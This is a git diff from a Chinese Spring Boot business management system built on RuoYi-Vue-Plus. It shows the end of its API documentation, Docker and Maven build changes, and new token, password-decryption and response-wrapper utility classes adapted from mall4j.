### 7.3 认领汇款
```
POST /work/receipt/claim
Authorization: Bearer <token>
Content-Type: application/json
```
---
## 八、统计接口
### 8.1 首页统计
```
GET /indexSum
Authorization: Bearer <token>
```
**响应说明**: 根据用户身份返回不同统计
- 表现师(identity=2): 技术相关统计
- 客服(identity=3): 客服相关统计
### 8.2 客服排行榜
```
GET /rankingListKF
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| type | int | 类型 |
| startTime | date | 开始时间 |
| endTime | date | 结束时间 |
### 8.3 技术排行榜
```
GET /rankingListJS
Authorization: Bearer <token>
```
### 8.4 部门排行榜
```
GET /deptRankingList
Authorization: Bearer <token>
```
### 8.5 客服数据分析(日)
```
GET /kfDayList
Authorization: Bearer <token>
```
### 8.6 微信好友分析
```
GET /wxDayList
Authorization: Bearer <token>
GET /wxMonthList
Authorization: Bearer <token>
```
### 8.7 技术部分图/日报
```
GET /ftDayList
Authorization: Bearer <token>
GET /jsDayList
Authorization: Bearer <token>
```
### 8.8 业绩统计
```
POST /monthArrivedPer
Authorization: Bearer <token>
```
**请求参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| month | string | 月份如2024-09 |
| deptId | long | 部门ID |
### 8.9 订单类型统计
```
POST /monthOrderType
Authorization: Bearer <token>
```
### 8.10 新老客户占比
```
POST /newOldOrderPer
Authorization: Bearer <token>
```
---
## 九、通用接口格式
### 列表查询
```
GET /{module}/{entity}/list
Authorization: Bearer <token>
Query Params:
- pageNum: 页码
- pageSize: 每页数量
- 其他业务参数...
```
### 详情查询
```
GET /{module}/{entity}/{id}
Authorization: Bearer <token>
```
### 新增
```
POST /{module}/{entity}
Authorization: Bearer <token>
Content-Type: application/json
Body: {业务对象}
```
### 更新
```
PUT /{module}/{entity}
Authorization: Bearer <token>
Content-Type: application/json
Body: {业务对象}
```
### 删除
```
DELETE /{module}/{entity}/{ids}
Authorization: Bearer <token>
```
### 导出
```
POST /{module}/{entity}/export
Authorization: Bearer <token>
```
---
## 十、通用响应格式
### 成功响应
```json
{
"code": 200,
"msg": "操作成功",
"data": {}
}
```
### 分页响应
```json
{
"code": 200,
"msg": "success",
"rows": [],
"total": 100
}
```
### 失败响应
```json
{
"code": 500,
"msg": "操作失败",
"data": {}
}
```
---
## 十一、错误码说明
| 错误码 | 说明 |
|--------|------|
| 200 | 成功 |
| 401 | 未授权 |
| 403 | 无权限 |
| 404 | 资源不存在 |
| 500 | 服务器内部错误 |
---
## 十二、数据模型
### 订单 (tp_order)
| 字段 | 类型 | 说明 |
|------|------|------|
| id | Long | ID |
| orderId | String | 订单编号 |
| kid | Long | 客户ID |
| wid | Long | 微信ID |
| style | Long | 风格 |
| space | String | 空间 |
| quality | Long | 品质 |
| num | Long | 图纸数量 |
| price | BigDecimal | 订单价格 |
| state | Integer | 订单状态 |
| sid | Long | 客服ID |
| bid | String | 表现师ID |
| addTime | Date | 下单时间 |
| finishTime | Date | 完成时间 |
### 客户 (tp_client)
| 字段 | 类型 | 说明 |
|------|------|------|
| id | Long | ID |
| name | String | 客户名称 |
| phone | String | 手机号 |
| wechat | String | 微信 |
| remark | String | 备注 |
| createTime | Date | 创建时间 |
### 员工 (tp_staff)
| 字段 | 类型 | 说明 |
|------|------|------|
| id | Long | ID |
| name | String | 姓名 |
| phone | String | 手机号 |
| deptId | Long | 部门ID |
| identity | Integer | 身份1管理员 2技术 3客服 |
| status | String | 状态 |
### 微信 (tp_wechat)
| 字段 | 类型 | 说明 |
|------|------|------|
| id | Long | ID |
| code | String | 微信编号 |
| user | String | 微信昵称 |
| phone | String | 手机号 |
| deptId | Long | 部门ID |
| createTime | Date | 创建时间 |

BIN
node.zip Normal file

Binary file not shown.

1062
pom.xml

File diff suppressed because it is too large Load Diff

BIN
ruoyi-admin/.DS_Store vendored Normal file

Binary file not shown.

View File

@@ -1,28 +1,28 @@
# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ # 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/
FROM bellsoft/liberica-openjdk-debian:17.0.11-cds FROM bellsoft/liberica-openjdk-debian:17.0.11-cds
#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds #FROM bellsoft/liberica-openjdk-debian:21.0.5-cds
#FROM findepi/graalvm:java17-native #FROM findepi/graalvm:java17-native
LABEL maintainer="Lion Li" LABEL maintainer="Lion Li"
RUN mkdir -p /ruoyi/server/logs \ RUN mkdir -p /ruoyi/server/logs \
/ruoyi/server/temp \ /ruoyi/server/temp \
/ruoyi/skywalking/agent /ruoyi/skywalking/agent
WORKDIR /ruoyi/server WORKDIR /ruoyi/server
ENV SERVER_PORT=8080 LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="" ENV SERVER_PORT=8080 LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS=""
EXPOSE ${SERVER_PORT} EXPOSE ${SERVER_PORT}
ADD ./target/ruoyi-admin.jar ./app.jar ADD ./target/ruoyi-admin.jar ./app.jar
SHELL ["/bin/bash", "-c"] SHELL ["/bin/bash", "-c"]
ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -Dserver.port=${SERVER_PORT} \ ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -Dserver.port=${SERVER_PORT} \
# 应用名称 如果想区分集群节点监控 改成不同的名称即可 # 应用名称 如果想区分集群节点监控 改成不同的名称即可
#-Dskywalking.agent.service_name=ruoyi-server \ #-Dskywalking.agent.service_name=ruoyi-server \
#-javaagent:/ruoyi/skywalking/agent/skywalking-agent.jar \ #-javaagent:/ruoyi/skywalking/agent/skywalking-agent.jar \
-XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \
-jar app.jar -jar app.jar

View File

@@ -1,146 +1,160 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent> <parent>
<artifactId>ruoyi-vue-plus</artifactId> <artifactId>ruoyi-vue-plus</artifactId>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<version>${revision}</version> <version>${revision}</version>
</parent> </parent>
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<packaging>jar</packaging> <packaging>jar</packaging>
<artifactId>xgt-admin</artifactId> <artifactId>xgt-admin</artifactId>
<description> <description>
web服务入口 web服务入口
</description> </description>
<dependencies> <dependencies>
<!-- Mysql驱动包 --> <!-- Mysql驱动包 -->
<dependency> <dependency>
<groupId>com.mysql</groupId> <groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId> <artifactId>mysql-connector-j</artifactId>
</dependency> <version>8.4.0</version>
</dependency>
<!-- &lt;!&ndash; mp支持的数据库均支持 只需要增加对应的jdbc依赖即可 &ndash;&gt;-->
<!-- &lt;!&ndash; Oracle &ndash;&gt;--> <!-- &lt;!&ndash; mp支持的数据库均支持 只需要增加对应的jdbc依赖即可 &ndash;&gt;-->
<!-- <dependency>--> <!-- &lt;!&ndash; Oracle &ndash;&gt;-->
<!-- <groupId>com.oracle.database.jdbc</groupId>--> <!-- <dependency>-->
<!-- <artifactId>ojdbc8</artifactId>--> <!-- <groupId>com.oracle.database.jdbc</groupId>-->
<!-- </dependency>--> <!-- <artifactId>ojdbc8</artifactId>-->
<!-- &lt;!&ndash; 兼容oracle低版本 &ndash;&gt;--> <!-- </dependency>-->
<!-- <dependency>--> <!-- &lt;!&ndash; 兼容oracle低版本 &ndash;&gt;-->
<!-- <groupId>com.oracle.database.nls</groupId>--> <!-- <dependency>-->
<!-- <artifactId>orai18n</artifactId>--> <!-- <groupId>com.oracle.database.nls</groupId>-->
<!-- </dependency>--> <!-- <artifactId>orai18n</artifactId>-->
<!-- &lt;!&ndash; PostgreSql &ndash;&gt;--> <!-- </dependency>-->
<!-- <dependency>--> <!-- &lt;!&ndash; PostgreSql &ndash;&gt;-->
<!-- <groupId>org.postgresql</groupId>--> <!-- <dependency>-->
<!-- <artifactId>postgresql</artifactId>--> <!-- <groupId>org.postgresql</groupId>-->
<!-- </dependency>--> <!-- <artifactId>postgresql</artifactId>-->
<!-- &lt;!&ndash; SqlServer &ndash;&gt;--> <!-- </dependency>-->
<!-- <dependency>--> <!-- &lt;!&ndash; SqlServer &ndash;&gt;-->
<!-- <groupId>com.microsoft.sqlserver</groupId>--> <!-- <dependency>-->
<!-- <artifactId>mssql-jdbc</artifactId>--> <!-- <groupId>com.microsoft.sqlserver</groupId>-->
<!-- </dependency>--> <!-- <artifactId>mssql-jdbc</artifactId>-->
<!-- </dependency>-->
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-common-doc</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-common-doc</artifactId>
</dependency>
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-common-social</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-common-social</artifactId>
</dependency>
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-common-ratelimiter</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-common-ratelimiter</artifactId>
</dependency>
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-common-mail</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-common-mail</artifactId>
</dependency>
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-system</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-system</artifactId>
</dependency>
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-job</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-job</artifactId>
</dependency>
<!-- 代码生成-->
<dependency> <!-- 代码生成-->
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-generator</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-generator</artifactId>
</dependency>
<dependency>
<groupId>org.dromara</groupId> <dependency>
<artifactId>ruoyi-work</artifactId> <groupId>org.dromara</groupId>
</dependency> <artifactId>ruoyi-work</artifactId>
</dependency>
<dependency>
<groupId>de.codecentric</groupId> <dependency>
<artifactId>spring-boot-admin-starter-client</artifactId> <groupId>de.codecentric</groupId>
</dependency> <artifactId>spring-boot-admin-starter-client</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId> <dependency>
<artifactId>spring-boot-starter-test</artifactId> <groupId>org.springframework.boot</groupId>
<scope>test</scope> <artifactId>spring-boot-starter-test</artifactId>
</dependency> <scope>test</scope>
</dependency>
<!-- skywalking 整合 logback -->
<!-- <dependency>--> <!-- Spring Boot DevTools 热部署 -->
<!-- <groupId>org.apache.skywalking</groupId>--> <dependency>
<!-- <artifactId>apm-toolkit-logback-1.x</artifactId>--> <groupId>org.springframework.boot</groupId>
<!-- <version>${与你的agent探针版本保持一致}</version>--> <artifactId>spring-boot-devtools</artifactId>
<!-- </dependency>--> <scope>runtime</scope>
<!-- <dependency>--> <optional>true</optional>
<!-- <groupId>org.apache.skywalking</groupId>--> </dependency>
<!-- <artifactId>apm-toolkit-trace</artifactId>-->
<!-- <version>${与你的agent探针版本保持一致}</version>--> <!-- skywalking 整合 logback -->
<!-- </dependency>--> <!-- <dependency>-->
<!-- <groupId>org.apache.skywalking</groupId>-->
</dependencies> <!-- <artifactId>apm-toolkit-logback-1.x</artifactId>-->
<!-- <version>${与你的agent探针版本保持一致}</version>-->
<build> <!-- </dependency>-->
<finalName>${project.artifactId}</finalName> <!-- <dependency>-->
<plugins> <!-- <groupId>org.apache.skywalking</groupId>-->
<plugin> <!-- <artifactId>apm-toolkit-trace</artifactId>-->
<groupId>org.springframework.boot</groupId> <!-- <version>${与你的agent探针版本保持一致}</version>-->
<artifactId>spring-boot-maven-plugin</artifactId> <!-- </dependency>-->
<version>${spring-boot.version}</version>
<executions> </dependencies>
<execution>
<goals> <build>
<goal>repackage</goal> <finalName>${project.artifactId}</finalName>
</goals> <plugins>
</execution> <plugin>
</executions> <groupId>org.springframework.boot</groupId>
</plugin> <artifactId>spring-boot-maven-plugin</artifactId>
<plugin> <version>${spring-boot.version}</version>
<groupId>org.apache.maven.plugins</groupId> <configuration>
<artifactId>maven-jar-plugin</artifactId> <fork>true</fork>
<version>${maven-jar-plugin.version}</version> <addResources>true</addResources>
</plugin> <mainClass>org.dromara.XgtAdminApplication</mainClass>
<plugin> </configuration>
<groupId>org.apache.maven.plugins</groupId> <executions>
<artifactId>maven-war-plugin</artifactId> <execution>
<version>${maven-war-plugin.version}</version> <goals>
<configuration> <goal>repackage</goal>
<failOnMissingWebXml>false</failOnMissingWebXml> </goals>
<warName>${project.artifactId}</warName> </execution>
</configuration> </executions>
</plugin> </plugin>
</plugins> <plugin>
</build> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
</project> <version>${maven-jar-plugin.version}</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>${maven-war-plugin.version}</version>
<configuration>
<failOnMissingWebXml>false</failOnMissingWebXml>
<warName>${project.artifactId}</warName>
</configuration>
</plugin>
</plugins>
</build>
</project>

View File

@@ -1,23 +1,23 @@
package org.dromara; package org.dromara;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.context.metrics.buffering.BufferingApplicationStartup; import org.springframework.boot.context.metrics.buffering.BufferingApplicationStartup;
/** /**
* 启动程序 * 启动程序
* *
* @author Lion Li * @author Lion Li
*/ */
@SpringBootApplication @SpringBootApplication
public class XgtAdminApplication { public class XgtAdminApplication {
public static void main(String[] args) { public static void main(String[] args) {
SpringApplication application = new SpringApplication(XgtAdminApplication.class); SpringApplication application = new SpringApplication(XgtAdminApplication.class);
application.setApplicationStartup(new BufferingApplicationStartup(2048)); application.setApplicationStartup(new BufferingApplicationStartup(2048));
application.run(args); application.run(args);
System.out.println("(♥◠‿◠)ノ゙ 效果图业务系统启动成功 ლ(´ڡ`ლ)゙"); System.out.println("(♥◠‿◠)ノ゙ 效果图业务系统启动成功 ლ(´ڡ`ლ)゙");
} }
} }

View File

@@ -1,18 +1,18 @@
package org.dromara; package org.dromara;
import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
/** /**
* web容器中进行部署 * web容器中进行部署
* *
* @author Lion Li * @author Lion Li
*/ */
public class XgtAdminServletInitializer extends SpringBootServletInitializer { public class XgtAdminServletInitializer extends SpringBootServletInitializer {
@Override @Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(XgtAdminApplication.class); return application.sources(XgtAdminApplication.class);
} }
} }

View File

@@ -0,0 +1,36 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
/**
* @author lanhai
*/
public class HttpContextUtils {
public static HttpServletRequest getHttpServletRequest() {
return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
}
public static String getDomain(){
HttpServletRequest request = getHttpServletRequest();
StringBuffer url = request.getRequestURL();
return url.delete(url.length() - request.getRequestURI().length(), url.length()).toString();
}
public static String getOrigin(){
HttpServletRequest request = getHttpServletRequest();
return request.getHeader("Origin");
}
}

View File

@@ -0,0 +1,38 @@
package org.dromara.web.common;
/**
* @author 菠萝凤梨
* @date 2022/3/28 14:32
*/
public interface OauthCacheNames {
/**
* oauth 授权相关key
*/
String OAUTH_PREFIX = "mall4j_oauth:";
/**
* token 授权相关key
*/
String OAUTH_TOKEN_PREFIX = OAUTH_PREFIX + "token:";
/**
* 保存token 缓存使用key
*/
String ACCESS = OAUTH_TOKEN_PREFIX + "access:";
/**
* 刷新token 缓存使用key
*/
String REFRESH_TO_ACCESS = OAUTH_TOKEN_PREFIX + "refresh_to_access:";
/**
* 根据uid获取保存的token key缓存使用的key
*/
String UID_TO_ACCESS = OAUTH_TOKEN_PREFIX + "uid_to_access:";
/**
* 保存token的用户信息使用的key
*/
String USER_INFO = OAUTH_TOKEN_PREFIX + "user_info:";
}

View File

@@ -0,0 +1,128 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.fasterxml.jackson.annotation.JsonIgnore;
import io.swagger.v3.oas.annotations.Hidden;
import io.swagger.v3.oas.annotations.media.Schema;
import org.springdoc.core.annotations.ParameterObject;
import java.util.List;
/**
* @author lanhai
*/
@Schema
@ParameterObject
public class PageParam<T> extends Page<T> {
/**
* 每页显示条数,默认 10
*/
@Schema(description = "每页大小默认10")
private long size = 10;
/**
* 当前页
*/
@Schema(description = "当前页默认1")
private long current = 1;
/**
* 查询数据列表
*/
@Hidden
private List<T> records;
/**
* 总数
*/
@Hidden
private long total = 0;
/**
* 是否进行 count 查询
*/
@JsonIgnore
private boolean isSearchCount = true;
@JsonIgnore
private String countId;
@JsonIgnore
private Long maxLimit;
@JsonIgnore
private boolean optimizeCountSql;
@Override
public List<T> getRecords() {
return this.records;
}
@Override
public Page<T> setRecords(List<T> records) {
this.records = records;
return this;
}
@Override
public long getTotal() {
return this.total;
}
@Override
public Page<T> setTotal(long total) {
this.total = total;
return this;
}
@JsonIgnore
public boolean getSearchCount() {
if (total < 0) {
return false;
}
return isSearchCount;
}
@Override
public Page<T> setSearchCount(boolean isSearchCount) {
this.isSearchCount = isSearchCount;
return this;
}
@Override
public long getSize() {
return this.size;
}
@Override
public Page<T> setSize(long size) {
int maxSize = 100;
if (size > maxSize) {
this.size = maxSize;
} else {
this.size = size;
}
return this;
}
@Override
public long getCurrent() {
return this.current;
}
@Override
public Page<T> setCurrent(long current) {
this.current = current;
return this;
}
}

View File

@@ -0,0 +1,53 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
import cn.hutool.crypto.SecureUtil;
import cn.hutool.crypto.symmetric.AES;
import org.dromara.common.core.exception.user.UserException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
import java.nio.charset.StandardCharsets;
/**
* @author 菠萝凤梨
* @date 2022/1/19 16:02
*/
@Component
public class PasswordManager {
private static final Logger logger = LoggerFactory.getLogger(PasswordManager.class);
/**
* 用于aes签名的key16位
*/
@Value("${auth.password.signKey:-mall4j-password}")
public String passwordSignKey;
public String decryptPassword(String data) {
// 在使用oracle的JDK时JAR包必须签署特殊的证书才能使用。
// 解决方案 1.使用openJDK或者非oracle的JDK建议 2.添加证书
// hutool的aes报错可以打开下面那段代码
SecureUtil.disableBouncyCastle();
AES aes = new AES(passwordSignKey.getBytes(StandardCharsets.UTF_8));
String decryptStr;
String decryptPassword;
try {
decryptStr = aes.decryptStr(data);
decryptPassword = decryptStr.substring(13);
} catch (Exception e) {
logger.error("Exception:", e);
throw new UserException("AES解密错误", e);
}
return decryptPassword;
}
}

View File

@@ -0,0 +1,69 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
/**
* @author FrozenWatermelon
* @date 2020/7/9
*/
public enum ResponseEnum {
/**
* ok
*/
OK("00000", "ok"),
SHOW_FAIL("A00001", ""),
/**
* 用于直接显示提示用户的错误,内容由输入内容决定
*/
/**
* 用于直接显示提示系统的成功,内容由输入内容决定
*/
SHOW_SUCCESS("A00002", ""),
/**
* 未授权
*/
UNAUTHORIZED("A00004", "Unauthorized"),
/**
* 服务器出了点小差
*/
EXCEPTION("A00005", "服务器出了点小差"),
/**
* 方法参数没有校验,内容由输入内容决定
*/
METHOD_ARGUMENT_NOT_VALID("A00014", "方法参数没有校验");
private final String code;
private final String msg;
public String value() {
return code;
}
public String getMsg() {
return msg;
}
ResponseEnum(String code, String msg) {
this.code = code;
this.msg = msg;
}
@Override
public String toString() {
return "ResponseEnum{" + "code='" + code + '\'' + ", msg='" + msg + '\'' + "} " + super.toString();
}
}

View File

@@ -0,0 +1,49 @@
package org.dromara.web.common;
import lombok.experimental.UtilityClass;
/**
* @author LGH
*/
@UtilityClass
public class SecurityUtils {
private static final String USER_REQUEST = "/api/";
/**
* 获取用户
*/
public YamiUser getUser() {
if (!HttpContextUtils.getHttpServletRequest().getRequestURI().startsWith(USER_REQUEST)) {
// 用户相关的请求,应该以/p开头
throw new RuntimeException("登录过期或已失效");
}
String accessToken = HttpContextUtils.getHttpServletRequest().getHeader("accessToken");
TokenStore tokenStore = new TokenStore();
UserInfoInTokenBO userInfoInTokenBO = tokenStore.getUserInfoByAccessToken(accessToken,false);
YamiUser yamiUser = new YamiUser();
yamiUser.setUserId(userInfoInTokenBO.getUserId());
yamiUser.setBizUserId(userInfoInTokenBO.getBizUserId());
yamiUser.setEnabled(userInfoInTokenBO.getEnabled());
yamiUser.setShopId(userInfoInTokenBO.getShopId());
yamiUser.setStationId(userInfoInTokenBO.getOtherId());
return yamiUser;
}
/**
* 获取用户ID
*/
public Long getUserInfo() {
Long userId = null;
try {
userId = getUser().getUserId();
} catch (RuntimeException e) {
// 处理异常
System.out.println(e.getMessage());
}
return userId;
}
}

View File

@@ -0,0 +1,199 @@
package org.dromara.web.common;
import lombok.extern.slf4j.Slf4j;
import java.io.Serializable;
import java.util.Objects;
/**
* @author lanhai
*/
@Slf4j
public class ServerResponseEntity<T> implements Serializable {
/**
* 状态码
*/
private String code;
/**
* 信息
*/
private String msg;
/**
* 数据
*/
private T data;
/**
* 版本
*/
private String version;
/**
* 时间
*/
private Long timestamp;
/* private String sign;
public String getSign() {
return sign;
}
public void setSign(String sign) {
this.sign = sign;
}*/
public String getCode() {
return code;
}
public void setCode(String code) {
this.code = code;
}
public String getMsg() {
return msg;
}
public void setMsg(String msg) {
this.msg = msg;
}
public T getData() {
return data;
}
public ServerResponseEntity setData(T data) {
this.data = data;
return this;
}
public String getVersion() {
return version;
}
public void setVersion(String version) {
this.version = version;
}
public Long getTimestamp() {
return timestamp;
}
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
public boolean isSuccess() {
return Objects.equals(ResponseEnum.OK.value(), this.code);
}
public boolean isFail() {
return !Objects.equals(ResponseEnum.OK.value(), this.code);
}
public ServerResponseEntity() {
// 版本号
this.version = "1.0";
}
public static <T> ServerResponseEntity<T> success(T data) {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setData(data);
serverResponseEntity.setCode(ResponseEnum.OK.value());
serverResponseEntity.setTimestamp(System.currentTimeMillis());
serverResponseEntity.setMsg("success");
return serverResponseEntity;
}
public static <T> ServerResponseEntity<T> success() {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setCode(ResponseEnum.OK.value());
serverResponseEntity.setMsg(ResponseEnum.OK.getMsg());
serverResponseEntity.setMsg("success");
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
public static <T> ServerResponseEntity<T> success(Integer code, T data) {
return success(String.valueOf(code), data);
}
public static <T> ServerResponseEntity<T> success(String code, T data) {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setCode(code);
serverResponseEntity.setData(data);
serverResponseEntity.setMsg("success");
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
/**
* 前端显示失败消息
* @param msg 失败消息
* @return
*/
public static <T> ServerResponseEntity<T> showFailMsg(String msg) {
log.error(msg);
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(msg);
serverResponseEntity.setCode(ResponseEnum.SHOW_FAIL.value());
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
public static <T> ServerResponseEntity<T> fail(ResponseEnum responseEnum) {
log.error(responseEnum.toString());
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(responseEnum.getMsg());
serverResponseEntity.setCode(responseEnum.value());
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
public static <T> ServerResponseEntity<T> fail(ResponseEnum responseEnum, T data) {
log.error(responseEnum.toString());
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(responseEnum.getMsg());
serverResponseEntity.setCode(responseEnum.value());
serverResponseEntity.setData(data);
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
public static <T> ServerResponseEntity<T> fail(String code, String msg, T data) {
log.error(msg);
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(msg);
serverResponseEntity.setCode(code);
serverResponseEntity.setData(data);
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
public static <T> ServerResponseEntity<T> fail(String code, String msg) {
return fail(code, msg, null);
}
public static <T> ServerResponseEntity<T> fail(Integer code, T data) {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setCode(String.valueOf(code));
serverResponseEntity.setData(data);
serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity;
}
@Override
public String toString() {
return "ServerResponseEntity{" +
"code='" + code + '\'' +
", msg='" + msg + '\'' +
", data=" + data +
", version='" + version + '\'' +
", timestamp=" + timestamp +
// ", sign='" + sign + '\'' +
'}';
}
}

View File

@@ -0,0 +1,38 @@
/*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
*
* https://www.mall4j.com/
*
* 未经允许,不可做商业用途!
*
* 版权所有,侵权必究!
*/
package org.dromara.web.common;
import lombok.Data;
/**
* token信息该信息存在redis中
*
* @author 菠萝凤梨
* @date 2022/3/25 17:33
*/
@Data
public class TokenInfoBO {
/**
* 保存在token信息里面的用户信息
*/
private UserInfoInTokenBO userInfoInToken;
private String accessToken;
private String refreshToken;
/**
* 在多少秒后过期
*/
private Integer expiresIn;
}

View File

@@ -0,0 +1,23 @@
package org.dromara.web.common;
import io.swagger.v3.oas.annotations.media.Schema;
import lombok.Data;
/**
* token信息该信息用户返回给前端前端请求携带accessToken进行用户校验
*
* @author FrozenWatermelon
* @date 2020/7/2
*/
@Data
public class TokenInfoVO {
@Schema(description = "accessToken" )
private String accessToken;
@Schema(description = "refreshToken" )
private String refreshToken;
@Schema(description = "在多少秒后过期" )
private Integer expiresIn;
}

View File

@@ -0,0 +1,171 @@
package org.dromara.web.common;
import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.StrUtil;
import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.redis.utils.RedisUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Component;
import org.springframework.util.CollectionUtils;
import java.time.Duration;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
/**
* token管理 1. 登陆返回token 2. 刷新token 3. 清除用户过去token 4. 校验token
*
* @author FrozenWatermelon
* @date 2020/7/2
*/
@Component
public class TokenStore {
private static final Logger logger = LoggerFactory.getLogger(TokenStore.class);
// private final RedisTemplate<String, Object> redisTemplate;
/*public TokenStore(RedisTemplate<String, Object> redisTemplate) {
this.redisTemplate = redisTemplate;
}*/
/**
* 以Sa-Token技术生成token并返回token信息
* @param userInfoInToken
* @return
*/
public TokenInfoBO storeAccessSaToken(UserInfoInTokenBO userInfoInToken) {
//生成过期时间
int timeoutSecond = getExpiresIn(userInfoInToken.getSysType());
Duration accessTokenExpires = Duration.ofSeconds(timeoutSecond);
String uid = this.getUid(userInfoInToken.getSysType().toString(), userInfoInToken.getUserId());
StpUtil.login(uid, timeoutSecond);
String token = StpUtil.getTokenValue();
// 用户信息存入缓存 token生成
String keyName = OauthCacheNames.USER_INFO + token;
RedisUtils.deleteObject(keyName);
RedisUtils.setCacheObject(keyName, userInfoInToken, accessTokenExpires);
// 数据封装返回(token不用加密)
TokenInfoBO tokenInfoBO = new TokenInfoBO();
tokenInfoBO.setUserInfoInToken(userInfoInToken);
tokenInfoBO.setExpiresIn(timeoutSecond);
tokenInfoBO.setAccessToken(token);
tokenInfoBO.setRefreshToken(token);
return tokenInfoBO;
